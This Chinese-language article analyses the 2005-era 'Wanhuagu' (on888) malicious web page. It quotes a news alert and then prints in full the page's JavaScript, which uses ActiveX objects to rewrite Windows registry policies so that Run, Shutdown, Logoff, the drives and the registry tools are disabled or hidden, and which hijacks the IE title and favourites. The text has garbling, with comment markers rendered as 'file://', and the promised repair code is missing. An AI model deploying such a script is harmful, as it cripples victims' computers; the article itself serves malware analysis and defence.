网站恶意代码陷阱分析及修复代码[1]

[入库:2005年8月18日] [更新:2007年3月25日]

本文简介:选择自 chutium 的 blog

“万花谷”网站恶意病毒“陷阱”分析介绍及修复代码
 作者:邱腾 (chutium)

新浪科技报道:
  国家反病毒应急处理中心联防单位北京江民公司的反病毒应急小组最近监测到国内有心怀不轨的人到处在互连网上散发
一个美丽诱人的网址"万花谷",这实际是一个恶意"陷阱",有人经不住诱惑,只用鼠标轻轻点一下,计算机就立即瘫痪了,
这是有人利用java最新技术进行破坏的又一个恶意网址。北京江民公司提醒广大上网用户注意严加防范,遇到有on888.xxx之
类的网址请不要点击,并开启kvw3000的病毒实时监视防火墙进行防杀。 

该病毒的技术特征:

js/on888是一个新的含有有害代码的activex网页文件,它通过在一个网络地址来对计算机用户造成破坏,其破坏特性如下:
 (1)用户不能正常使用windows的dos功能程序;
 (2)用户不能正常退出windows,
 (3)开始菜单上的"关闭系统"、"运行"等栏目被屏蔽,防止用户重新以dos方式启动,关闭dos命令、关闭regedit命令等。
 (4)将ie的浏览器的首页和收藏夹中都加入了含有该有害网页代码的网络地址。
具体的表现形式是:
 a:网络地址是:www.on888.xxx.xxx.com
 b:在ie的"收藏夹"中自动加上"万花谷"的快捷方式,网络地址是:"http://96xx.xxx.com";


下面,作者提供病毒代码的分析,及对其修复的代码:

之所以将病毒命名为js/xxxxx,
其原因就是因为它是在页面中使用了恶意的javascript代码:

首先,让我们看看html页面是如何修改ie标题的:
原因是利用了下面这段javascript代码修改了
hklm\software\microsoft\internet explorer\main\

hkcu\software\microsoft\internet explorer\main\
中的window title这个键的键值;
并修改了用户的许多ie设置,如
消除run按纽、消除关闭按纽、消除注销按纽、隐藏桌面、隐藏盘符、禁止注册表等
以下就是这个病毒的代码:

<script language=javascript>
document.write("<applet height=0 width=0 code=com.ms.activex.activexcomponent></applet>");
<!--创建到收藏夹-->
function addfavlnk(loc, dispname, siteurl)
{
var shor = shl.createshortcut(loc + "\\" + dispname +".url");
shor.targetpath = siteurl;
shor.save();
}
function f(){
try
{
<!--activex初始化过程-->
activex initialization
a1=document.applets[0];
a1.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}");
a1.createinstance();
shl = a1.getobject();
a1.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}");
a1.createinstance();
fso = a1.getobject();
a1.setclsid("{f935dc26-1cf0-11d0-adb9-00c04fd58a0b}");
a1.createinstance();
net = a1.getobject();

try
{
if (documents .cookies.indexof("chg") == -1)
{
<!--修改设置主页-->
file://shl.regwrite ("hkcu\\software\\microsoft\\internet explorer\\main\\start page", "http://com.6to23.com/");
var expdate = new date((new date()).gettime() + (1));
documents .cookies="chg=general; expires=" + expdate.togmtstring() + "; path=/;"
<!--改写注册表-->
shl.regwrite ("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\explorer\\norun", 01, "reg_binary"); file://消除run按纽
shl.regwrite ("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\explorer\\noclose", 01, "reg_binary"); file://消除关闭按纽
shl.regwrite ("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\explorer\\nologoff", 01, "reg_binary"); file://消除注销按纽
shl.regwrite ("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\explorer\\nodrives", "63000000", "reg_dword"); file://隐藏盘符
shl.regwrite ("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\system\\disableregistrytools", "00000001", "reg_dword"); file://禁止注册表
shl.regwrite ("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\winoldapp\\disabled", "00000001", "reg_dword");
shl.regwrite ("hkcu\\software\\microsoft\\windows\\currentversion\\policies\\winoldapp\\norealmode", "00000001", "reg_dword");
shl.regwrite ("hklm\\software\\microsoft\\windows\\currentversion\\winlogon\\legalnoticecaption", "您的计算机已经被http://www.cnhack.org/优化: )");
shl.regwrite ("hklm\\software\\microsoft\\windows\\currentversion\\winlogon\\legalnoticetext", "您的计算机已经被http://www.cnhack.org/优化: )");
file://设置开机提示
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\main\\window title", "新的标题★http://com.6to23.com/ & http://www.cnhack.org/");
shl.regwrite ("hkcu\\software\\microsoft\\internet explorer\\main\\window title", "新的标题★http://com.6to23.com/ & http://www.cnhack.org/");
file://设置ie标题
var expdate = new date((new date()).gettime() + (1));
documents .cookies="chg=general; expires=" + expdate.togmtstring() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
settimeout("f()", 1000);
}
<!--实现打开页面后1秒钟内执行测试修改注册表的工作-->
init();</script>


以下是利用一段类似的javascript代码修复各项的键值:
<script language=javascript>

本文关键:病毒 恶意代码 万花谷 注册表 on888 javascript registry 源代码
  相关方案
Google
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top